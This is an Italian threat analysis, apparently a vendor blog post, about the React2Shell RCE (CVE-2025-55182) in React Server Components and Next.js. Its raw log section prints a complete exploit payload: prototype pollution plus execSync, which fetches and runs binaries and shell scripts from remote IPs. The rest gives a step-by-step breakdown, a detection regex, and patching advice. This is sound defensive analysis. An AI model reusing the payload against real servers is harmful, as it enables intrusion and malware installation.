Analisi delle minacce: CVE-2025-55182, « React2Shell » e protezione proattiva HiveProtect.ai

Data di resostanza: 6 dicembre 2025
Gravità della minaccia: Critico (CVSS 10.0)
Vector: Esecuzione remota del codice (RCE) tramite componenti React Server
HiveProtect.ai Stato: BLOCCATO
1. Riassunto esecutivo
All’inizio di dicembre 2025, è stata rivelata una vulnerabilità critica nell’ecosistema React, che riguarda in particolare i React Server Components (RSC) e framework come Next.js. Chiamata CVE-2025-55182 (e spesso chiamata « React2Shell« ), questa vulnerabilità permette a un attaccante non autenticato di eseguire codice arbitrario sul server manipolando il flusso di serializzazione del protocollo Flight .
Nel frattempo, è emersa una tecnica di evasione nota come Padding Attack per bypassare i tradizionali Web Application Firewall (WAF), incluse le configurazioni predefinite di Cloudflare. Sovraccaricando il corpo delle richieste oltre il limite standard di ispezione (spesso 128 KB), gli attaccanti cercano di nascondere il loro payload malevolente.
Questo rapporto analizza un reale tentativo di attacco intercettato da HiveProtect.ai il 5 dicembre 2025. Sebbene questo attacco abbia mirato specificamente infrastrutture Node.js/Next.js, è stato rilevato e neutralizzato dalle regole euristiche di HiveProtect su un’infrastruttura WordPress, dimostrando l’efficacia di un approccio indipendente dalla sicurezza e comportamentale.
2. Il panorama delle minacce: CVE-2025-55182
2.1 La meccanica della fenditura
La vulnerabilità risiede nel modo in cui React 19 e Next.js (App Router) gestiscono la deserializzazione dei dati inviati dal client al server tramite il protocollo interno « Flight ». Questo protocollo consente al client di inviare strutture complesse, inclusi riferimenti ai componenti server.
L’attacco sfrutta una validazione insufficiente durante questa deerializzazione. Un attaccante può falsificare una richiesta JSON contenente direttive speciali (come $1:__proto__:then) per inquinare il prototipo degli oggetti JavaScript o costringere il server a importare moduli interni pericolosi, come child_process di Node.js. Una volta importato il modulo, l’attaccante può chiamare funzioni come execSync per avviare i comandi di sistema direttamente sul server host.
2.2 La sfida dell’imbottitura (evasione WAF)
La pericolosità di questa campagna è amplificata dalla tecnica di elusione del WAF. La maggior parte dei firewall applicativi, per motivi di prestazione, analizza solo l’inizio di una richiesta HTTP (i primi 128 KB di Cloudflare Enterprise di default, a volte meno su altri piani).
Gli attaccanti hanno industrializzato un metodo in cui riempiono l’inizio della richiesta con dati innocui (spazi, commenti, campi vuoti) per « spingere » il payload malevolo (il payload RCE JSON) oltre questo limite. Se il WAF non blocca strettamente grandi volumi di dati, il payload passa inosservato e raggiunge il server vulnerabile, che leggerà l’intera richiesta.
3. Anatomia dell’attacco bloccata da HiveProtect.ai
Il 5 dicembre 2025, HiveProtect.ai sistemi hanno intercettato e bloccato un complesso tentativo di sfruttamento. Ecco l’analisi forense del registro catturato.
3.1 Tronco grezzo
05/12/2025 21:38 95.214.52.170
🔒 Bloquée Warsaw, Poland 🇵🇱
🌐 API externe
DNS: DNS reverse vide Critique 100 NoSQL Injection - Query (dans paramètres)
📍 URL: /
🔍 Pattern détecté: /{.*?$.*?:.*?}/
🌐 User-Agent: Mozilla/5.0 (Linux; Android 14; SM-F9560 Build/UP1A.231005.007; wv) ...
Paramètres POST:
["{"then": "$1:__proto__:then","status": "resolved_model","reason": -1,"value": "{"then":"$B1337"}","_response": {"_prefix": "var res=process.mainModule.require('child_process').execSync('(cd /dev;busybox wget http://31.56.27.76/n2/x86;chmod 777 x86;./x86 reactOnMynuts;busybox wget -q http://193.34.213.150/nuts/bolts -O-|sh)',{'timeout':120000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});","_chunks": "$Q2","_formData": {"get": "$1:constructor:constructor"}}}",""$@0"","[]"]
3.2 Decodifica del carico utile
Questo blocco di codice JSON non è una semplice iniezione di dati; Si tratta di uno script di esecuzione completo progettato per prendere il pieno controllo del server. Analizziamo la cosa riga per riga:
Ha. Inquinamento prototipo (__proto__)
"then": "$1:__proto__:then"
L’attaccante inizia manipolando il prototipo dell’oggetto in processazione. Questa è la pietra angolare dell’exploit CVE-2025-55182. Iniettando una proprietà then attraverso il prototipo, l’attaccante costringe il framework React a trattare il proprio payload come una promessa asincrona (« Thenable »), che attiva l’esecuzione del codice iniettato durante la risoluzione di quella promessa.
B. L’invocazione di Node.js (child_process)
process.mainModule.require('child_process').execSync(...)
Questo è il cuore dell’attacco. L’attaccante bypassa le protezioni abituali chiamando direttamente il modulo Node.js principale per richiedere child_process. La funzione execSync consente di eseguire comandi shell sincroni (bloccanti), assicurando che il server attenda che l’esecuzione dannosa si completi prima di rispondere.
C. La catena di uccisione
Il comando imposto al sistema è particolarmente aggressivo:
- cd /dev : Sposta in una directory solitamente scrivibile sui sistemi Linux (memoria condivisa), spesso usata per evitare tracce sul disco rigido.
- Busybox WGET http://31.56.27.76/n2/x86 : Download di un binario dannoso (chiamato x86) da un IP remoto (probabilmente un altro server compromesso che funge da server di comando e controllo – C2). L’uso di busybox indica che l’attacco è rivolto a ambienti containerizzati (Docker/Kubernetes) dove strumenti standard come curl o full wget sono talvolta assenti.
- chmod 777 x86; ./x86 reactOnMynuts : Il file viene reso eseguibile e avviato immediatamente. L’argomento reactOnMynuts è probabilmente una chiave o un flag per l’inizializzazione del malware . Questo binario è spesso un « dropper« , un botnet (di tipo Mirai o varianti) o un miner di criptovalute.
- busybox wget … -O-|sh : Una seconda fase di download esegue uno script shell (bull) direttamente in memoria (canalizzato a sh), garantendo la persistenza o il download di strumenti aggiuntivi.
D. Esfiltrazione tramite errore (NEXT_REDIRECT)
throw Object.assign(new Error('NEXT_REDIRECT'), {digest:${res}});
Per vedere il risultato del loro attacco (l’output del comando), l’attaccante utilizza un ingegnoso trucco specifico per Next.js. Genera un errore di tipo NEXT_REDIRECT. Normalmente utilizzato dal framework per gestire i reindirizzamenti HTTP, questo errore qui viene deviato per restituire il risultato del comando (${res}) nel campo digest della risposta HTTP. Questo trasforma un attacco « cieco » (Blind RCE) in un attacco con feedback immediato.
3.3 Perché HiveProtect.ai bloccato (analisi delle regole)
Il log indica una rilevazione tramite la regola: NoSQL Injection – Query (in parametri).
È fondamentale sottolineare qui una sfumatura tecnica importante. Sebbene l’attacco sia un React RCE e non un’iniezione NoSQL (MongoDB/CouchDB), il blocco è un perfetto esempio di rilevamento euristico riuscito.
- Il modello rilevato:
/{.*?$.*?:.*?}/Questo pattern regex cerca strutture JSON che contengono chiavi o valori con il simbolo $. Nel mondo dei database NoSQL, il dollaro viene usato per gli operatori (ad esempio, $where, $ne). - La partita React: Il protocollo React Flight utilizza anche massicciosamente il simbolo $ per fare riferimento a oggetti e promesse (ad esempio, $1, $B 1337, $@0).
- Il risultato: La regola di sicurezza HiveProtect.ai, progettata per intercettare strutture dati sospette e non standard, identificò correttamente il carico utile come un’anomalia critica. Anche se la firma specifica « CVE-2025-55182 » non era esplicitamente nominata, la natura anomala della richiesta ha attivato la protezione.
Inoltre, il punteggio di minaccia è stato massimizzato (100/Critico) da un fattore contestuale: DNS: DNS reverse vuoto. L’indirizzo IP attaccante 95.214.52.170 non aveva una risoluzione DNS inversa valida, una caratteristica tipica dei bot automatizzati e delle macchine zombie usate nelle botnet. HiveProtect.ai combina analisi comportamentale (il payload) e la reputazione (l’IP) per una decisione finale di blocco.
4. L’importanza della protezione trasversale
Potrebbe sorgere una domanda legittima: « Il mio sito gira su WordPress (PHP), perché HiveProtect.ai bloccare un attacco a Node.js? »
Qui risiede la forza della soluzione.
- Protezione contro il « Spray and Pray »: Le botnet moderne non mirano chirurgicamente. Scansionano l’intero Internet IPv4. Inviano exploit React ai server PHP, exploit Java ai server Python e altro ancora.
- Risparmio di risorse: Anche se questo payload RCE non potesse essere eseguito su un motore PHP, l’elaborazione di tale richiesta consuma larghezza di banda, cicli CPU (per analizzare JSON o log) e inquina i dati analitici. Bloccando la richiesta al bordo, HiveProtect.ai protegge le prestazioni della tua infrastruttura.
- Difesa in profondità: Le infrastrutture moderne sono spesso ibride. Un sito WordPress può coesistere sullo stesso server di un’API Node.js, oppure usare un proxy inverso mal configurato. Bloccare le minacce su tutte le tecnologie è l’unico approccio di sicurezza praticabile.
5. Raccomandazioni politiche
A seguito di questa ondata di attacchi e dell’analisi di questo incidente, raccomandiamo le seguenti azioni a tutti gli amministratori sotto HiveProtect.ai protezione:
5.1 Per ambienti WordPress (standard)
- Mantieni attiva la regola del « Corpo Grande »: Come si vede nei tentativi di riempimento, bloccare corpi di richiesta inutilmente grandi (>128 KB) su endpoint standard (/, /wp-json/, forms) è una difesa estremamente efficace contro i tentativi di bypass WAF.
- Monitorare i log bloccati: Bloccare l’attività sulle regole « NoSQL » o « Code Injection » sul tuo sito WordPress è un buon indicatore che il tuo IP è presente in una lista di bersagli attivi della botnet.
5.2 Per ambienti ibridi (WordPress + Next.js/Node)
- Aggiornamento critico immediato: Se ospiti Next.js, aggiorna imperativamente alle versioni 14.2.20+, 15.0.4+ o 15.1.0+. Per React, punta a 19.0.1+. Questa è l’unica correzione definitiva alla radice.
- Polimerizzazione WAF: Assicurati che le tue regole WAF non si fermino all’ispezione delle intestazioni. La combinazione delle regole euristiche di HiveProtect e delle regole gestite di Cloudflare (soprattutto sulla deserializzazione) è essenziale.
Conclusione
L’attacco intercettato il 5 dicembre dalla Polonia illustra quanto rapidamente gli attori malintenzionati trasformino le nuove vulnerabilità in armi (CVE-2025-55182). Il complesso payload , che combina l’inquinamento del prototipo, il potenziale bypass WAF ed esecuzione dei comandi di sistema, rappresenta l’estremità alta dello spettro delle attuali minacce web.
HiveProtect.ai ha dimostrato la propria resilienza bloccando questo attacco « Zero-Day » (o « N-Day ») con un rilevamento comportamentale robusto, proteggendo l’infrastruttura client indipendentemente dalla tecnologia sottostante.